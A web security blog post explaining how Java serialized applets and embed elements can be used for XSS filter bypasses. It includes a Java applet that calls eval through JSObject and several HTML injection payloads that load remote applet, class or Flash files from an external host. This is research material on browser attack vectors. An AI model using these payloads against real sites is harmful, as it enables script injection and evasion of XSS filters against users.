The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Hackvertor check tags and conditionsMutating SafariPure-CSS 3D world collision detection How to write a Hackvertor tagIntroducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charset

    Java Serialization

    By Gareth Heyes (@hackvertor)

    Published 12 years 4 months ago • Last updated July 2, 2025 • ⏱️ 2 min read

    ← Back to articles

    In this post I will explore Java serialized applets and how they can be used for XSS. A serialized applet contains code that can be easily stored and loaded. Java supports an attribute called “object” which accepts a url to a serialized class file this allows us to load applets of our choosing provided they can be serialized and implements the java.io.Serializable interface. This feature is very old and obscure and I have successfully used the technique to bypass filters that look for very specific XSS patterns.

    In order to create a serializable Java applet you need the following code (You also need to add plugin.jar to the class path):

    import java.applet.*; import netscape.javascript.*; public class XSS extends Applet implements java.io.Serializable { public void init() { JSObject win = (JSObject) JSObject.getWindow(this); win.eval("alert(1);"); } }

    The plugin.jar has to be in your class path to compile as a serialized object with the JavaScript interpreter to call eval from inside the applet. When you have successfully compiled the serialized applet you can call it using the object attribute like so.

    <applet object="xss.ser" codebase="http://any url here containing the class and serialized data"></applet>

    Use code base to give the path to the serialized object and object to point to the filename. This isn’t the only method to include a serialized applet. The Java plugin in IE supports many ways to point to a serialized file. I can also use param elements to specify the object reference like the following:

    <applet><param name=codebase value=http://someurl><param name=object value=xss.ser></applet>

    Unbelievably the plugin supports a "java_" prefix in all attribute names. So the following is a valid request to a serialized file.

    <applet java_codebase=http://someurl java_object=xss.ser></applet>

    You can even use param elements to do the same thing. Like the following

    <applet><param name=java_codebase value=http://someurl><param name=java_object value=xss.ser></applet>

    Finally away from serialization there is another trick to embed a class file using the embed element.

    <embed type=application/x-java-applet codebase=http://someurl code=xss.class MAYSCRIPT width=500 height=500></embed>

    This also works with Flash and you don’t even need to specify the type attribute just the code attribute. This works on webkit.

    <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

    ← Back to articles